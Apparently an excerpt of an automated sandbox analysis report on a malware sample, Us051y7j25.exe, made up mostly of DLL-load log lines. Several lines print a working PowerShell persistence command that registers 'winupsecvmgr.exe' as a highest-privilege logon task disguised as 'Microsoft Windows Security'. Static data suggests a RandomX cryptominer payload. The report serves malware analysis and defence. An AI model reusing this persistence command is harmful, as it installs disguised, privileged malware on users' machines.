Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\Desktop\Us051y7j25.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Us051y7j25.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: Us051y7j25.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: symbols\dll\System.Management.Automation.pdb source: powershell.exe, 0000001E.00000002.2890862563.000000D1C3D46000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: XC:\Windows\System.Management.Automation.pdb0 source: powershell.exe, 0000001E.00000002.2890862563.000000D1C3D46000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp
Source:	Binary string: n.pdb{ source: powershell.exe, 0000001E.00000002.2937156312.0000025221AB2000.00000004.00000020.00020000.00000000.sdmp

Source: Us051y7j25.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Us051y7j25.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Us051y7j25.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Us051y7j25.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Us051y7j25.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydcfdz#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }

Source: C:\Users\user\Desktop\Us051y7j25.exe

0_2_001410B0

Source: sysppvrdnvs.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x232cd
Source: 1091722296.exe.4.dr	Static PE information: real checksum: 0x6517 should be: 0x659f
Source: jacrzswcvuml.tmp.34.dr	Static PE information: real checksum: 0x0 should be: 0x554c2a
Source: 1881231804.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xa6a9
Source: 21324.scr.0.dr	Static PE information: real checksum: 0x0 should be: 0x232cd
Source: tdrpl[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x232cd

Source: nxmr[1].exe.27.dr	Static PE information: section name: .xdata
Source: 1239611256.exe.27.dr	Static PE information: section name: .xdata
Source: winupsecvmgr.exe.28.dr	Static PE information: section name: .xdata
Source: jacrzswcvuml.tmp.34.dr	Static PE information: section name: _RANDOMX
Source: jacrzswcvuml.tmp.34.dr	Static PE information: section name: _TEXT_CN
Source: jacrzswcvuml.tmp.34.dr	Static PE information: section name: _TEXT_CN
Source: jacrzswcvuml.tmp.34.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\Us051y7j25.exe	Code function: 0_2_00141CC1 push ecx; ret	0_2_00141CD4
Source: C:\Users\user\AppData\Local\Temp\2314627202.exe	Code function: 26_2_00871821 push ecx; ret	26_2_00871834
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Code function: 27_2_00601AD1 push ecx; ret	27_2_00601AE4
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	Code function: 29_2_00C91771 push ecx; ret	29_2_00C91784
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD3467D2A5 pushad ; iretd	30_2_00007FFD3467D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD347900BD pushad ; iretd	30_2_00007FFD347900C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 30_2_00007FFD34797B8A push eax; ret	30_2_00007FFD34797B99
Source: C:\Windows\System32\conhost.exe	Code function: 37_2_00007FF7B89C25AC push rsi; ret	37_2_00007FF7B89C25C6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD3465D2A5 pushad ; iretd	38_2_00007FFD3465D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD3477B8FA pushad ; iretd	38_2_00007FFD3477B969
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD3477754D push ebx; iretd	38_2_00007FFD3477756A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD347700BD pushad ; iretd	38_2_00007FFD347700C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD34773AD3 pushad ; ret	38_2_00007FFD34773AD9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD34777B9A push eax; ret	38_2_00007FFD34777BA9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 38_2_00007FFD34777BD3 push eax; ret	38_2_00007FFD34777BA9

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\Us051y7j25.exe

